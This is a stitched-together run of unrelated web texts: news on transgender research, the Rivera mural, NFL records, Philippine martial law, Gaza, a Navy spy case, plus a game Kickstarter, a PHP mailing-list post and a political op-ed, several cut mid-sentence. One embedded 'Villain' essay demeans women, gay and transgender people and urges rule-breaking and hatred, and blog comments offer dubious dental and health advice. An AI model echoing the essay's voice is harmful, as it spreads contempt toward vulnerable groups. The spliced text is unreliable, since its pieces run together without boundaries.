He said surveys in Canada and the U.S. have shown that roughly 40 per cent of transgender people have attempted suicide. The rate of attempted suicide among Canadian transgender youth who have unsupportive parents is 57 per cent, while among those with supportive parents the rate is just four per cent.
"The difference between having a supportive family environment and not — it makes a huge difference in actually saving lives of young transgender people.''
He said he's working with a group that is examining how supportive families help transgender youth and hopes to put on a conference in the coming years to discuss the issue further.
'90 per cent' of transgender people struggle with work: Devor
The rate of poverty among transgender people is also considerably higher than the rest of the population. Ninety per cent report experiencing harassment and difficulty in the workplace and large numbers report housing challenges, said Devor.
"This is an area that needs a lot more attention and I hope to be developing some research projects in collaboration with others on this in the future.''
Devor is also the founder of the Transgender Archives at the university, which were unveiled in 2012. The collection represents more than a century of research and if lined up along one shelf, it would stretch the length of a football field.
Pritzker, a retired lieutenant colonel from a wealthy U.S. family, said the University of Victoria has made itself a leader in the study of gender identity.
"My support is an investment in success. It is a major personal goal of mine that this chair in transgender studies stimulates the outstanding work of other institutions and creates a global network for the study of this topic,'' she said in a statement.
University president Jamie Cassels said the chair sets the university apart as a place that offers high-quality research and a home to exceptional students, faculty and staff who inspire bold action for positive impact on others' lives.
— By Laura Kane in Vancouver
Also On HuffPost:Destroyed By Rockefellers, Mural Trespassed On Political Vision
Enlarge this image toggle caption Courtesy of Museo Frida Kahlo Courtesy of Museo Frida Kahlo
When Mexican artist Diego Rivera was commissioned in 1932 to do a mural in the middle of Manhattan's Rockefeller Center, some might have wondered whether industrialist tycoon John D. Rockefeller Jr. knew what he was getting into.
In 1934, the legendary artist's work was chiseled off the wall.
Now, in Washington, D.C., the Mexican Cultural Institute has mounted a show that tells what happened to Rivera's mural.
Enlarge this image toggle caption A. Estrada /Courtesy of Museo Frida Kalho A. Estrada /Courtesy of Museo Frida Kalho
"Man at the Crossroads: Diego Rivera's Mural at Rockefeller Center," is a whodunit tale that also illustrates the tensions between art and politics. Exhibition co-curator Susana Pliego says the Rockefeller family was aware of Rivera's leftist politics when it commissioned the work.
"They tried to have pieces of the best artists at the time," Pliego says. "That was why [they wanted it], because of the artistic and commercial value of his work."
Pliego says Rivera got a three-page contract laying out exactly what management wanted.
Rivera was asked to show a man at the crossroads, looking with uncertainty but with hope and high vision to the choosing of a course leading to a new and better future.
"The theme of Rockefeller Center was 'New Frontiers,' so that was a very spiritual way of looking at development and art," Pliego says. She wonders what made the Rockefellers think that Rivera's vision would be the same as theirs.
A Difference Of Vision
"It was a bad decision for everyone, but it's about politics," co-curator Pablo Ortiz Monasterio says. "When you have to take a position, there is no other way out."
Monasterio says the show illustrates the conflict between the rich, powerful family that hired Rivera and the artist's strong political point of view.
Pliego says the original sketch for the mural — and what Rivera agreed to paint — included three men clasping hands in the middle: a soldier, a worker and peasant. "A spiritual union of all the three elements that Rivera thought man — humanity — was composed of," she says.
"Unfortunately, what he painted was different from the sketch," David Rockefeller Sr. told the Museum of Modern Art in 2012.
toggle caption Courtesy of Museo Frida Kahlo
The leftist artist was taunted by those who felt he had sold out, Rivera expert Linda Downs says.
"He was really provoked in New York by leftist organizations and various communist groups that challenged him for painting for Rockefeller," she says.
Then, the World Telegram newspaper ran the headline: "Rivera Paints Scenes of Communist Activity and John D. Jr. Foots the Bill." Pliego says Rivera then decided to add a portrait of communist revolutionary Vladimir Lenin to the mural.
"He sent his assistants to find a picture of Lenin because, he said, 'If you want communism, I will paint communism,' " Pliego says.
On top of that, according to David Rockefeller Sr., Rivera added a panel that the family felt was an unflattering portrait of his father.
"The picture of Lenin was on the right-hand side, and on the left, a picture of [my] father drinking martinis with a harlot and various other things that were unflattering to the family and clearly inappropriate to have as the center of Rockefeller Center," he said.
"He had these two options," Monasterio says. "He could erase that and solve the problem, but if he didn't, then that would be a scandal; that would be propaganda. So he himself was at the crossroads again."
Rivera had persuaded his patrons to let him paint a fresco — paint on wet plaster instead of on canvas. That meant the work couldn't be moved. After a flurry of letters asking Rivera to replace Lenin and the artist's declaration that he'd rather see the work destroyed than mutilated, Rivera was fired and the work was eventually chiseled off.
A Missing Piece Of History
Downs says the piece would have been stunning had it survived.
"He had this vision of the importance of technology in the future and the hope that there would be a coming together of workers and industrialists and businessmen to further mankind in general," Downs says. "It was a very hopeful mural."
Pliego says the exhibition illustrates a key question: Who owns a work of art?
"For example, like Diego said in a letter," she says, "'If someone buys the Sistine Chapel, does he have the authority to destroy it?' "
The exhibition, "Man at the Crossroads: Diego Rivera's Mural at Rockefeller Center," reconstructs the story of the mural through reproductions of documents, letters, photographs and Rivera's sketches. It will be on display at the Mexican Cultural Institute in Washington, D.C., through May 17.When Randall Cobb snagged that over-the-shoulder pass with his left hand on the penultimate play of the first half on Sunday Night Football, somewhere a State Farm advertising agent was crumpling yet another piece of paper inscribed with the company’s next Aaron Rodgers promotion. Discount double triple quadruple quintuple sextuple check it is.
The six touchdown passes that Rodgers threw against the ready-for-hibernation Bears shouldn’t be diminished simply because Ben Roethlisberger had previously made it a weekly occurrence. The Packers quarterback even found a way to up the degree of difficulty, and in the process he caused all of our imaginations to run wild. Any draft prospect would be happy to receive this Wonderlic question: Packers quarterback Aaron Rodgers threw six touchdown passes in the first half. If he repeats his performance in the second half, how many total touchdowns will Rodgers throw?
That simple calculation obviously doesn’t account for changing variables, which is why the mythical eight-touchdown performance remained unlikely even with Rodgers’s prodigious start. Such an explosive first-half offensive performance usually signifies a blowout, which makes scoring less important to the winning team after halftime. Let’s be clear: If Mike McCarthy wanted to get Rodgers the passing-touchdown record, it wouldn’t have been a problem. But the reward is far too small considering the risk. Although Rodgers did throw three second-half passes before hitting the sideline, preventing injuries is the long-term concern, especially for a team that knows how miserable life is without its franchise quarterback.
Still, that didn’t stop many fans, myself included, from wishing that Rodgers — if not for posterity, at least for a fantasy team in need of a miracle — would continue to roll right, direct traffic, and eventually throw his way into the record books. Instead, we’d have to settle for the newest entry in the appendix of great first-half performances of the fantasy football era. Here are the others:
Otto Greule Jr/Getty Images
Shaun Alexander Runs for Five First-Half Touchdowns
Records are meant to be broken, except, apparently, when they are set by Ernie Nevers, the Chicago Cardinals fullback who scored 40 points on six rushing touchdowns and four extra points to single-handedly beat the crosstown Bears in 1929. It’s the longest-standing record in NFL history, and the specialization of kickers means that breaking Nevers’s mark will require a seven-touchdown game. Only Nevers, Dub Jones, and Gale Sayers have scored six.
By rushing for four red zone touchdowns and adding an 80-yard score on a screen pass in the first 30 minutes against the Vikings in 2002, Shaun Alexander had a legitimate chance to make history. These monster first-half performances are so often about being in the right place at the right time, and Alexander benefited when the Vikings fumbled away two consecutive kick returns, allowing him to score three touchdowns in a span of 77 seconds. But fatigue and/or fate slowed Alexander down; his 13 second-half touches resulted in only 28 yards, including three unfruitful rushing attempts from inside the 10-yard line.
Randy Moss Catches Four First-Half Touchdowns
It’s not easy to show up a receiver who catches four touchdowns in a game, but only hours after Terrell Owens set his career high in 2007, Randy Moss went out and collected four touchdown receptions in the first half. Recently arrived from a moribund Oakland team, this was a rejuvenated Moss, who celebrated his fourth touchdown — an end zone toe-tapper in the final minute of the first half that sent him sprawling — by giving a photographer a high-five while flat on his back.
Most teams would play conservatively with a large halftime lead, but this was Bill Belichick and the Eff You Patriots, fresh off their bye week and ready to resume punishing opponents. Getting Moss his fifth touchdown reception — and tying the record shared by Jerry Rice, Kellen Winslow Sr., and Bob Shaw — was an obvious priority, but although Tom Brady threw two more passes to Moss inside the 10-yard line, his touchdown total wouldn’t budge before he was given a fourth-quarter rest.
Tom Brady Throws Five Touchdowns in the Second Quarter
After returning from ACL surgery, Brady and the Patriots offense had a relatively slow start in 2009, averaging only 20.8 points through the first five games. Everything finally clicked against the 0-5 Titans, when Brady became the first player to throw five touchdowns in one quarter. It seems only fitting that a flurry of franchise records fell during a mid-October snowstorm.
The historic sequence started with a flea flicker to Moss and ended with that familiar quick out to Wes Welker, who snuck inside the pylon. In between, Brady threw touchdowns to Moss, Welker, and Kevin Faulk, adding another one to Moss on the first drive after halftime before making way for backup Brian Hoyer. No great performance is possible without ineptitude from the opponent, and Tennessee quarterbacks Kerry Collins and Vince Young countered Brady with a 2-for-14 performance for negative-7 yards. When it snows, it … snows really hard?
Michael Vick Throws Three Touchdowns, Runs for Two in the First Half
Come 2010, it was fair to wonder whether Vick’s once-breathtaking skills had eroded after spending three years without starting a game and two years out of the NFL entirely because of his dog-fighting scandal. Vick answered those questions with solid performances after replacing an injured Kevin Kolb, and then he straight-up embarrassed the questioners on Monday Night Football.
On the first play from scrimmage, Vick delivered an 88-yard bomb — the left-handed flick traveled 60 yards in the air — to DeSean Jackson, who pranced backward into the end zone. The Eagles would score on their first five possessions; Vick added touchdown passes to LeSean McCoy and Jeremy Maclin and a 7-yard touchdown run. In 15 minutes, the Eagles offense accomplished more in Washington than some presidents do in four years. Vick added a second touchdown run before halftime and threw for another after the intermission. He probably solved the federal deficit, too.
Jason Bailey (@_jasonbailey_) is a Grantland copy editor.H.B. 60 Most Pro-Gun Bill in State History
Fairfax, Va. – Lawmakers in Georgia gave final passage last night |
I have a snaggle tooth. It’s risen like a momument to my stupidity or as a badge of honor to my growing crusty-geezer persona. But, so far, there is no pain.
I actually searched for earlier photos, to see if I’m loosing more than my teeth. Sure enough, they were once white and in good order. I actually had a healthy smile.
So, I’m as confidently as ever onto phase three of my rugged-wilderness tooth-care scheme. If I get through another twenty-five years, I’m good to go, and I’ll have proved some stupid point. But, I should probably get in that long line at the Veterans Administration, if it’s not too late to have a dental “plan”.
Karen I. writes:
I am sorry to hear you are having dental problems.
When your current problem heals, you may want to consider asking your dentist about using Crest Pro Health rinse. It is about $5 at most drug stores.
I have good teeth, thanks to a lot of orthodontic work as a kid, but for a long time, I had a persistent infection in the gum area over one tooth, which was chronically swollen and red. I tried everything to make it go away, from flossing to seeing a periodontist, who did scaling and planing to try to cut the infection out. I lost some gum tissue to that procedure, but the infection still persisted. Even a prescription rinse did not work. Finally, I tried the Crest Pro Health rinse that was recommended by my kids’ dentist to keep their teeth and gums healthy while they were in braces. Within two days, the infection was gone!
My sister had persistent gingivitis, and I suggested she try the Crest Pro Health. She had the same good results. It might be worth a try. You can put it on a q-tip to spot apply it in problem areas or rinse with it. By the way, I think you are right about diet being a major factor in problems with teeth, but I also think genetics play a role. I am equal parts Italian, Russian, Irish and English. The Italian side of my family has great teeth, but the Irish suffer no end of problems.
Laura writes:
One more disadvantage of being Irish. We live to suffer.
Thank you for the suggestions and concern.
A reader writes:
I hope you are feeling better. Wish I knew how to help you. I second the WAPF suggestion, since his area was dental health.
Here is his original book online. Many of the photos alone are worth a look.
Laura writes:
Thank you.
Sophia writes:
That quote gets at exactly what I have been trying to understand regarding modern medicine and “progress” and the skepticism I’ve had yet without enough knowledge to make sense of it all. This is why I wonder about everything we do nowadays, even to showering daily. Our ancestors certainly didn’t, and even my fiancé’s stepfather bathed once a week (in the same water as the rest of his family). He confirmed that he did not feel dirty. This page even explains scientifically why it’s not best to shower daily. And now onto teeth… I don’t buy into the “paleo diet” approach regarding wheat (Wheat Belly, etc.), which condemns it completely, since it condemns the advent of agriculture. Dr. Weston A. Price observed peoples with perfect teeth who ate such grain; the difference that so many of us are totally missing is that it was fermented, breaking down the phytic acid which doesn’t allow us to absorb nutrients in our diet generally. Here’s a great article; the author runs this website from which you can order a sourdough starter. This article goes more into the recent history of bread. Now I only eat bread in this form. I’ll start baking it myself soon; currently I’m taken up with regularly preparing raw milk kefir (a traditional probiotic fermented drink). :-) The “wise traditions” approach to nutrition truly fits us.
Hurricane Betsy writes:
Sorry about your suffering, Laura.
I really felt good reading Buck’s words: ” I’ve always heard stories and known people who have their wisdom teeth “pulled”, but I never understood why. It always seemed voluntary, a vague “good idea”. Why? My wisdom teeth are clearly the strongest four teeth in my shrinking head.”
I think all that pulling of wisdom teeth, no matter how healthy and wellplaced they are, is just dentists drumming up business for themselves. Like doctors cutting out healthy tonsils/prepuces/appendixes “because they might cause problems in the future.” It is heartbreaking to contemplate.
Like Buck, my four wisdom were always my best. One rotted down to nothing, the other 3 in my late-middle-aged mouth are perfectissimo. I never bothered seeing a dentist about the rotten one. Costs too much and I don’t like complicated extractions.
Thanks, Buck, for your story about your teeth. Lots of other really good comments, too, on teeth and general health, especially the best bread being fermented. Some health food stores in big cities sell something called “Desem” bread made from old varieties of grain. This is top of the line fermented. Of course you can make your own, too.
A Reader writes:
I did not see that the article on Wheat Belly condemns the advent of agriculture.
It does say:
So why has this seemingly benign plant that sustained generations of humans suddenly turned on us? For one thing, it is not the same grain our forebears ground into their daily bread. Wheat has changed dramatically in the past fifty years under the influence of agricultural scientists. Wheat strains have been hybridized, crossbred, and introgressed to make the wheat plant resistant to environmental conditions, such as drought, or pathogens, such as fungi. But most of all, genetic changes have been induced to increase yield per acre. Such enormous strides in yield have required drastic changes in genetic code. Such fundamental genetic changes have come at a price.
It also points out that now “whole wheat bread increases blood sugar to a higher level than sucrose.”
I don’t know if sourdough bread takes care of the damage done by the hybridization of wheat.
Just yesterday I learned of someone who has to eat gluten-free wheat here but when visiting her family in Italy she can eat all the wheat she wants with no problem. So in Italy do they grow their own strain of wheat, or, if they buy USA wheat, do they process it differently that makes a difference?"Race The Sun truly is a great racer that is already in its early phase a lot of fun and with extra development will only improve." - Indie Game Magazine
"Race The Sun is quite pretty. Like you. Unlike you, its free demo version has 375k plays on Kongregate." - Rock, Paper, Shotgun
"Good lord, the pace is maddening and I like it. Blinking is sometimes a luxury I cannot afford while playing." - Kongregate player
Updates:
1: Linux & Live-stream (We announce Linux support)
2: Getting The Word Out (Lots of gaming sites wrote about RtS)
3: Dreaming and Scheming (We've got some ideas...)
4: Live-Streaming A Space Mod (Aaron shows off the mod tools)
5: Ramps and Much More (A tiny peak at the upcoming update)
6: SamCube!!! (We are gonna have an awesome poster!)
7: Linux Demo! (A Linux tech-demo is out)
8: Vote For Your Poster (Backers choose the poster design)
9: Major Changes (we have made a discovery)
10: Blowing Up (People are starting to take notice)
11: Poster À la carte & Live-stream (We take mod requests)
12: The Deadly Object (A new backer reward)
13: Live-Streaming The World Creator
14: New Stuff (Dancing stickmen etc)
15: Create an Object (Cats with lasers etc.)
_____________________________________________________________
THE GAME
You are a solar powered craft, racing against the sunset at breathtaking speed...
...navigating a procedural and infinite landscape that changes with each day...
...you collect boosts to go even faster and reverse time momentarily...
...while trying to survive as long as you can without running out of daylight or smashing into pieces.
WHY KICKSTARTER?
We have big dreams for Race the Sun. We envision a community of players who actually participate in creating the worlds they race in. To make this happen we have created something called the...
SIMPLEX WORLD CREATOR
The world creator will be included right in the game, allowing anyone to make unique new game modes (or modify existing ones) and share them in a special "user worlds" screen for all to see.
Unique interactive objects can be created, styled, and animated right in the game - with no programming knowledge. These could be simple things like falling blocks, or more detailed things like a flock of birds - it's totally up to you!
USER WORLD PORTALS
Portals will appear during regular gameplay that transport you to far-off worlds that were created by our community of players! Everything that happens in these worlds will count as part of your game.
CO-OP MULTIPLAYER
You'll be able to team-up with other players in an asynchronous relay race. Here's how it will work:
When your round ends, you'll be able to invite other players to pick up your "life force", where you died. This will create a sharable hyperlink that allows another player to pick up where you left off. When they die, they will be able to share a link, and so on, and so forth....
This process will continue until all of your team's life force is depleted, at which point your team's combined score will be posted to a special leader-board. We'd love to develop this feature and help foster a community of active players who compete together. Maybe people will even form clans!
OTHER PLANNED FEATURES
We plan to add at-least one additional game mode, as well as a deep player leveling system with tons of objectives and achievements. This system will also allow you to unlock ship customizations like faster turning, protective shield, and badges that you can apply to your ship.
THE SOUNDTRACK
Here is an early mix of a track called "2-Late".
...Oh, also
You can control the game with your mobile phone! Try it out in the game's Web Demo (requires the free Brass Monkey app)
WHO ARE WE?
Aaron San Filippo brings 7 years of AAA game industry experience to Flippfly, having worked as a programmer and designer on titles such as Marvel:Ultimate Alliance, X-Men Origins:Wolverine, Singularity, and Modern Warfare 3. His roles at Flippfly include engineering, game design, animation, general QA and production.The son and namesake of the late strongman Ferdinand Marcos says President Rodrigo Duterte's martial law proclamation in Mindanao is not an 'overreaction'
Published 6:17 PM, May 26, 2017
MANILA, Philippines – Former Senator Ferdinand Marcos Jr, son and namesake of the late dictator, backed President Rodrigo Duterte's imposition of martial law in Mindanao as the military continued to hunt down Maute Group members in Marawi City.
Marcos, a close ally and friend of Duterte, said it is hard to "second guess" the President's decision, especially in matters of national security because the Chief Executive is the one who has access to intelligence reports, and may know matters not obvious to the public.
He also declined to compare Duterte's declaration with his father's 45 years ago, saying circumstances were different then and now.
"I know the President. I know his character. I know his adherence to the law…. Ginawa niya iyan sa kanyang pananaw (He did it in his view), in his best judgement," Marcos said in an interview on TV5 on Wednesday, May 24.
"Talagang nakita natin sa video reports. Talagang pinasok na ng Maute Group, ng mga ibang Abu Sayyaf, kung saan-saan na napunta...[nagpunta] na sa Bohol doon sila sumugod tapos dito sa Marawi [City]…widespread na talaga," he added. (READ: TIMELINE: Marawi clashes prompt martial law in all of Mindanao)
(We saw it in video reports. The Maute Group and some Abu Sayyaf members penetrated several areas. They went to Bohol and attacked there and now in Marawi City…. It's really widespread.)
Marcos is the son and namesake of the late President Ferdinand Marcos, the first post-war Philippine leader to declare martial law in the country. His authoritarian regime has been infamous for the human rights violations committed by state agents. (READ: Finally, Martial Law victims receive 1st tranche of money)
The late dictator was toppled from Malacañang through the People Power Revolution on February 25, 1986. The Marcoses went to exile in Hawaii but went back to the Philippines in 1993 and has since occupied key positions in government.
Marcos Jr himself served as senator during the administration of President Benigno Aquino III – son of his father's staunch critic, the late Senator Benigno Aquino Jr. Marcos Jr almost won the vice presidential election in 2016, and has a pending electoral protest.
Marcos was the chairperson of the committee on local government during his term in the Senate. He filed his own version of the Bangsamoro Basic Law, which is meant to seek peace in Mindanao by establishing an autonomous region that will replace the Autonomous Region in Muslim Mindanao.
When he campaigned for the vice presidency last year, Marcos highlighted that an inclusive consultation involving different sectors and not just the rebels is the key to achieving peace in Mindanao. – Rappler.comToday we witness the inverted moral system of a deranged clique of tyrants doubling down on their suicidal plans to enslave and enfeeble anyone who thinks for themselves. Men, especially white men, are the constant targets of pin the tail on the donkey. Most lack the fortitude to stand on their own two feet. They crumble under the assault and become the next neophyte in the post modern death cult.
What A Hero Is
Before we get into the Villain, let’s discuss the Hero. What does it mean to be a hero today?
We see that it requires no lives saved. There are no violent battles and miraculous victories. There are no herculean feats attained. In fact today the proclamation of hero will be echoed across the world’s bullhorns for no other reason than being a male who likes to have sex with other males.
Maybe you woke up one day and decided, “Hey I don’t like this penis anymore. What I’m really craving is some tits and pumps!”
Not only will you be lauded a hero, you will likely be invited to the white house, visited by the pope and Skyped by the Dalai Lama.
The sight of a monstrously obese female wearing draperies as lingerie elicits the heartfelt pleas of adoration and praise from a coagulating mass of human entropy. Heroism has long been dead. The masses no longer have the upward striving of a young and energetic people. They languish fat and opulent holding their idols of greed and envy in fanatical devotion.
To be the best. To become the strongest. To go the farthest. These are called evil now. When a man accomplishes and succeeds in life, it must be due to some ism or archy. No one wishes to elevate upon their own merit. Everyone has an accusation to excuse their failures in life. Everyone demands special treatment in order to compete in the game.
Everyone fights for social status through virtue signaling and personal victimology. Whoever is the loudest whiner. Whoever cries the hardest has won the race.
The race to the absolute bottom.
In a degenerate and and loathsome society such as this, the new man shall embrace the label of the Villain.
Who A Villain Is
With such a perverse transvaluation of morality, you must defiantly smile when the weak label you a villain. Today you are declared such by our society if you prefer normal healthy, heterosexual relationships. If you wish to reproduce and have a large family you are a villain because, “Duh! The world is overpopulated dummy!”
You are a terrible and evil person if you were born having a certain skin color. Did you or your ancestors help to build Western Civilization? You should be sterilized and put in a concentration camp.
Loading...
Did you accomplish anything today or excel above the complacent rabble of stray human animals begging for the government tit? You disgusting, twisted Villain! These people must never endure the systemic oppression of hurt feelings! You Nazi!
Males of the West, it’s time to grow up. It’s time you stop loading the guns that others are holding to your heads.
Outlaw’s Freedom
The suburbanite male and mommy’s basement dwelling brony are degenerate forms of life just waiting for the Reaper’s scythe to come cleaving through their dough boy skulls. For many a male, he exists as the cucked slave to his Matriarch. He has man’d up! He’s married that whore! Because it’s not her fault and bastards need a home too.
Oh you think they’ll call you a hero for that don’t you? Alas it wasn’t so, Johnny Fuckboy.
Now pay up.
There is no better time than now to cast off the idea that you should ever follow the rules. Or think this is what you’re “supposed” to do. No better time than now to unburden yourself this demeaning yoke. No better time to become the Villain. The social contract is broken. Our societies have betrayed us and they no longer speak on our behalf. We are no longer under any obligation to a hostile ruling elite.
I was born near the beginning of the millennial generation. Our parents told us multitudes of pretty lies and falsehoods. They told us to be good white knights and play fair. To be the heroic emotional tampon for the fickle female. To be the whipping boy for the world.
Our parents did not prepare us for the wasteland of their horrible choices. They were drunk on materialism, hedonism and consumerism. In a hypnotic daze from drugs and TV they regurgitated what was told to them about right and wrong, good and evil. All they did was make us disgustingly weak.
We were left to find out the hard way. For many this has resulted in their feeble backs crushed under the weight of the Leviathan. But for the savage few it means they will surpass everyone.
We are outlaws now. Notorious and infamous villains. A freedom the modern male can know. Only if he stops acting like a little bitch.
A Man’s Purpose
What men naturally do is bring order to reality. This is a polarizing effect that triggers attraction in females. Today the State has supplanted the male as father and provider to his women. The only way to take this back is to live by your own rules. To have your own system with brothers who uphold it. You must become a rule unto yourself. The only way to do this is to become the unashamed Villain of today’s twisted satire called civilization.
This way of life does not belong to the weak and fearful. It belongs to the unrepentant. The bold and daring.
You must create your own order in your world. Do this and there will be no shortage of women. This was your purpose all along. As per usual, trust your instincts. If your heart naturally loathes something, hate it with all your heart and might. If it loves, love it furiously. Do not ever let anyone talk down to you. We built this world. When it burns to the ground we will build it again.
Do not suffer the weak to eat from your table.
Read More: How To Avoid Trouble When Living The Villain LifestyleThe recent war in the Gaza Strip was not limited to the borders of the strip and its goal was also the "liberation of Jerusalem and al-Aksa," the deputy head of Hamas' political bureau, Ismail Haniyeh, said on Wednesday night during a rally in the Gaza Strip.
It was Haniyeh's first public appearance since the war in Gaza began seven weeks ago. An unlimited cease-fire between Israel and the Palestinian militant groups in Gaza went into effect on Tuesday night.
Haniyeh added that the Palestinian resistance had prepared itself over several years for the battle to free Palestine from occupation.
He praised the residents of Gaza for their "steadfastness" during the fighting, which continued for 50 days and led to the deaths of over 2,100 Palestinians and the wounding of thousands more. He also praised the three Hamas military commanders who were killed in an Israeli airstrike in the last phase of the war.
The campaign had restored Palestinian pride, Haniyeh said, and the Palestinian resistance had "impressed the entire world with its unsurpassable achievement."
Reuters reported that Gaza's municipal workers cleared roads of rubble and fixed power lines on Wednesday, as the ceasefire took hold after 50 days of war, with displaced families expressing a sense of relief and frustration as they returned to their damaged homes.
Thousands of families displaced from areas of northern and eastern Gaza, the location of some of the most intense fighting of the conflict, returned to their districts, many to find their homes partially or completely destroyed.
Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. CloseAlabama Football Spring Practice Day 12 - Saban Presser
Alabama football coach Nick Saban is no fan of the satellite camps Big Ten teams have planned in the south.
(Vasha Hunt/[email protected])
In the world of recruiting, there are rules and there are trends.
One fad is creating waves in the SEC and they're discussing a rule to curb it. Schools from the Big Ten conference are coming south and setting up satellite camps in places like Atlanta and Prattville, Ala.
That's not sitting well with SEC coaches since they have a league rule banning such events. League officials are looking at ways to fix the situation. Count Alabama coach Nick Saban among those who aren't wild about these traveling camps.
"If we're all going to travel all over the country to have satellite camps, you know, how ridiculous is that?" Saban said Tuesday evening before the Crimson Caravan stop in Huntsville. "I mean we're not allowed to go to all-star games, but now we're going to have satellite camps all over the country. So it doesn't really make sense."
The latest Big Ten school to bring a camp to the south is Michigan. New coach Jim Harbaugh has one scheduled for Prattville on June 5. Penn State held one in Atlanta last summer.
Incoming SEC commissioner Greg Sankey addressed these camps Monday at the Associated Press Sports Editors' Southeast Region meeting at the Alabama Sports Hall of Fame and Museum.
"As we remember camps, they were instructional and development opportunities," Sankey said. "Now, what we're talking about is recruiting tours. So, let's just be clear about what we're really talking about here."
Sankey said the league would discuss the matter at next month's SEC spring meetings in Destin, Fla.
"I'm not sure that the others want our coaches going to places like State College, Penn.," Sankey said. "Because very clearly, if we do take the approach that others have... it will certainly, I would expect, change the tone of the conversation."
Saban is eager to further the discussion on this topic moving forward.
"I certainly think that we need to address this if it's going to be a competitive disadvantage and other people are going to have these kind of camps," Saban said. "So, I think it's something that we'll probably address as a conference, and I think it's something we ought to look at from an NCAA standpoint because I think it's best to have a rule where people come to your campus, they can come to your camp."Sister of Navy officer accused of spying asks Congress to investigate the case Copyright by WAVY - All rights reserved Video
PORTSMOUTH, Va. (WAVY) -- Lieutenant Commander Edward Lin is an American success story, to his sister Jenny Lin.
"If you know Eddy, Eddy is all about the Navy. He's all about the United States. He dedicated his entire life to this," Jenny told WAVY.com on the phone Tuesday.
Jenny is now fighting for her brother's life, calling on Congress to sanction the Navy for prosecuting her brother in her words, "without any evidence."
"The Navy should justify to Congress why it continues to pursue this prosecution when it has no evidence that LCDR Lin actually provided or attempted to provide national defense information to Taiwan. If the Navy's justification is inadequate, Congress should take measures to sanction the Navy for prosecuting Lieutenant Commander Lin for espionage without any evidence," Lin wrote in her letter to several members of Congress.
"This is a family who has dedicated our professional and personal lives to the public service of this country," she said.
Eddy and Jenny immigrated from Taiwan as children with their mother, who has since passed away. Jenny, following in her brother's military footsteps, is part of the United States Air Force Reserves Judge Advocate General's Corps (JAG).
"We are both Taiwanese-American immigrants, but this is our home. We have worked in every capacity that we can in furtherance of this country's interests."
Eddy Lin has been in the Naval Consolidated Brig in Chesapeake since September 2015.
"My brother has been in pretrial confinement for about 494 days now for what the government initially alleged as spying for sex or spying for China."
The government claims Lin fed secrets to a prostitute, but has since dropped prostitution and adultery charges. In relation to the spy charges, Lin's attorney argued during a hearing in May that any information he may have provided to a foreign government was open-source information, meaning it could be found on the internet. A judge has since ruled that part of an 11-hour interrogation cannot be used in court.
"He's one of the good guys. He's never done anything wrong and I still believe that he is innocent."
WAVY.com reached out to the Navy for comment, but we have not heard back.
Lin is due in court for a motions hearing on Wednesday. His attorney tells 10 On Your Side the government may ask to amend one of the charges against him.
Stay with WAVY.com for updates on this developing story.Hi, I've decided to re-propose the CoC RFC. There are many reasons for it, but there are a few points I want to make. I strongly believe that a Code of Conduct is required. The amount of toxic behaviour on this list is in my opinion unacceptable. It drives people away, it certainly did. It is also one of the reasons I am not nearly as active as I used to be. It also makes me reluctant to welcome and mentor new people wanting to contribute. I have said "no" to two people in the last few days, mostly because I am not sure whether I want them exposed to some of the things being said on the list. But I think this list, and hence this project, and language, can be improved. A Code of Conduct alone is not enough. The focus for this list, and wider community, should be on collaborating to make PHP even better and faster than it already is. Collaboration works better in a happy environment, where people work together instead of against eachother. The new 0.5 version of the RFC that is up at https://wiki.php.net/rfc/adopt-code-of-conduct focusses more on working together and mediation than on acting with an iron fist on when things go awry, although these parts of the RFC are still included. In my opinion, an CoC that is not enforced is nothing but some text on a piece of paper—or in our case, a few bits on a disk. I have added a section, Constructive Contributor Guidelines, in addition to the CoC. This section definitely needs improving. I would everybody invite you to help out improving this RFC, but please take into account https://wiki.php.net/rfc/adopt-code-of-conduct#constructive_collaboration_guidelines I want this to work, and work together, to get this approved. cheers, DerickLord Blunkett
Sarah Champion is aptly named. Having been forced to resign from a Shadow Cabinet post she filled so very ably and following her brave stance on sex-grooming gangs, she's certainly a true Champion in my book.
I first got to know Sarah when she was the chief executive of Bluebell Wood children's hospice, outside Sheffield. I respected her then as I do now.
I have been aghast to see the completely unacceptable treatment meted out to her. My party, the Labour party, has always sought to stand up for those who are exploited, damaged or treated badly – whatever their position in life.
In other words, to coin a phrase, to 'Champion' equality.
Equality is not only about creating a fair economy. It is just as important to face down misogyny and the male domination of women. It is therefore extremely sad and quite unacceptable that it should be the Labour party seeking to portray genuine debate as somehow equivalent to racism. It is not.
The party's male-dominated leadership, ever mindful of political correctness, is currently unforgiving of dissension. In the past, our great party has always been open to critical thinking. It has welcomed debate from all sides.
Yet now the Labour party has seen one of its outstanding female MPs take a stance against evil that was widely acknowledged as brave and coherent – and then suffer demotion under undoubted pressure to recant her words.
Sarah Champion has a lot in common with a great heroine of mine, Ann Cryer, who was Labour MP for Keighley in West Yorkshire between 1997 and 2010.
She stepped up to serve her town after the death of her MP husband Bob because she wasn't prepared to let his good work end. That took huge courage. But even more heroic was her stance against the systemic abuse of white girls, some as young as 12, in her constituency.
In almost all cases, the perpetrators were men of Pakistani heritage, whose families originally came from the rural regions of that country where medieval attitudes prevailed towards women.
Ann wrote a superb piece for the Mail last week in the wake of the successful conviction – this time in Newcastle – of another predatory gang who'd been exploiting and abusing vulnerable girls. In her customary forthright and unflinching style, Ann explained that it was almost 15 years since she first warned about the plight of young white girls in some Asian communities in Britain.
Too many people were'reluctant to state the basic facts about who the abusers are, for fear of appearing racist or Islamophobic', she said.
Sarah Champion
The criminals, she said, were'mainly British-born from Pakistani, Bangladeshi, Iranian, Iraqi, Turkish and Indian communities where there is a deep-rooted misogyny that perpetrates this form of abuse'.
She went on: 'Reluctance persists among some on the Left to accept that these are culturally-rooted crimes. No doubt, I will be called racist for pointing this out.'
Ann started to speak out in 2003 after being approached by seven mothers whose adolescent daughters were in the grip of a paedophile gang.
I was Home Secretary at the time and, when she first came to talk to me about it, I found it hard to comprehend the enormity of the offences. It was too horrible to be imagined.
But she persuaded me that there was a real issue to be tackled, a truth to be faced that was so abominable that people scarcely dared speak of it.
To do this, political correctness had to be laid aside.
I will always be thankful that I was in a position to help Ann's campaign, by introducing changes in the law to facilitate prosecutions and to make grooming a specific offence. Ann Cryer and Sarah Champion have two things in common. First, they were brave to take on an issue that so many have ducked for so long. Second, they were both attacked for doing so.
